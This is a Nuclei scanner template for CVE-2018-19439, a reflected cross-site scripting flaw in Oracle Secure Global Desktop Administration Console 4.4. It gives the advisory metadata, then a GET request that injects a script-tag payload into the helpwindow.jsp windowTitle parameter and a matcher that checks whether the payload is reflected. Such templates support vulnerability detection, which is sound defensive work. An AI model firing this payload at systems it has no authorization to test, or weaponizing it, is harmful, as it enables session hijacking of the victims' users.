id: CVE-2018-19439

info:
  name: Oracle Secure Global Desktop Administration Console 4.4 - Cross-Site Scripting
  author: madrobot,dwisiswant0
  severity: medium
  description: Oracle Secure Global Desktop Administration Console 4.4 contains a reflected cross-site scripting vulnerability in helpwindow.jsp via all parameters, as demonstrated by the sgdadmin/faces/com_sun_web_ui/help/helpwindow.jsp windowTitle parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, potentially leading to session hijacking or unauthorized actions.
  remediation: Fixed in later versions including 5.4.
  reference:
    - http://packetstormsecurity.com/files/150444/Oracle-Secure-Global-Desktop-Administration-Console-4.4-Cross-Site-Scripting.html
    - https://nvd.nist.gov/vuln/detail/CVE-2018-19439
    - http://seclists.org/fulldisclosure/2018/Nov/58
    - https://github.com/sobinge/nuclei-templates
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2018-19439
    cwe-id: CWE-79
    epss-score: 0.62764
    epss-percentile: 0.98278
    cpe: cpe:2.3:a:oracle:secure_global_desktop:4.4:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: oracle
    product: secure_global_desktop
  tags: cve,cve2018,oracle,xss,seclists,packetstorm

http:
  - method: GET
    path:
      - "{{BaseURL}}/sgdadmin/faces/com_sun_web_ui/help/helpwindow.jsp?=&windowTitle=AdministratorHelpWindow></TITLE></HEAD><body><script>alert(1337)</script><!--&>helpFile=concepts.html"

    matchers:
      - type: word
        part: body
        words:
          - "<script>alert(1337)</script><!--</TITLE>"
# digest: 4b0a0048304602210092c69a7782434f328989cebae87ab893ddabab17b1ecea365e11e0018549f943022100a12e7d844ae0f85ba931d39b6dddf23878dbf1146e7109e18a14fb99c1852777:922c64590222798bb761d5b6d8e72950